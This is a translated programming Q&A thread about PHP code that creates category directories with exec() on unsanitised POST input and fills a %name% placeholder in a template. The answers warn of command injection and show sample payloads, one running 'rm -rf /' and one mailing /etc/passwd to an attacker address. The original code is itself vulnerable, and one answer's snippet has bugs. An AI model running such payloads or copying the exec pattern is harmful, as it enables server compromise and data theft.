我正在进行一个网站项目,管理员可以创建类别。当它们生成时,类别的名称将添加到数据库中
在处理用于创建类别的表单的PHP文件中,我在主机的特定目录中创建了一个具有给定名称的目录,此时看起来像:
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
它工作得很好,但现在我想把一个模板从资源文件夹复制到这个新创建的目录(将是它的索引),我知道如何做到这一点
exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');
问题是我想制作这个模板,这样它就可以放在放置它的文件夹中
在模板文件中,我用字符串"%name%"替换了每个索引中不同的所有部分。
在将所有"%name%"更改为给定名称(例如标题标记中)后,将此文件复制到创建的文件夹中的最佳方法是什么?
$name=$_POST['name'];
mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);
这就是你想做的吗?它将打开您的临时位置,用新名称替换%name%,创建目录和新文件,编写编辑后的模板文件并将其保存为
我决不是黑客,甚至不是黑客。这些例子可能在第一次尝试时都不起作用,这只是为了让你思考。如果$_POST['name']包含。。。
$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..
or ...
$_POST['name'] = ";mail -s “Pawned” badguy@allyourbasebelongtous.com < /etc/passwd";
友好的建议,永远不要那样使用exec。更好的是,如果可以避免的话,永远不要使用exec,尤其是在基于web的应用程序上。
建议使用PHP的mkdir()
和copy()
函数。例如,$_POST['name']
就不能是什么吗?你真的想exec()
什么吗?
其次,为了完成模板化,您可以使用这样简单的东西。
$template = file_get_contents('template.html');
$replacements = array(
'%name%' => 'Oddantfr'
);
$contents = str_replace(
array_keys($replacements),
array_values($replacements),
$template
);
file_put_contents('template.html', $contents);
这不是问题本身的答案,而是一个不能包含在注释中的注释。然而,如果你还没有,你需要知道这一点。
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
这非常非常糟糕。不要这样做。当你在PHP中运行exec()
时,第一个参数是以字符串的形式运行的,这允许发生这样的事情:
$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";
这将使您的exec()
'd代码等效于:
exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');
将我的两个有趣的函数替换为实际的坏事(可能是root脚本或其他什么),就会出现一个允许访问服务器底层操作系统的安全漏洞。
使用PHP提供的mkdir()
和copy()
函数,并清除提交给您的任何POST/GET变量。不要把它直接插入未清理的代码中,尤其是在数据库查询中。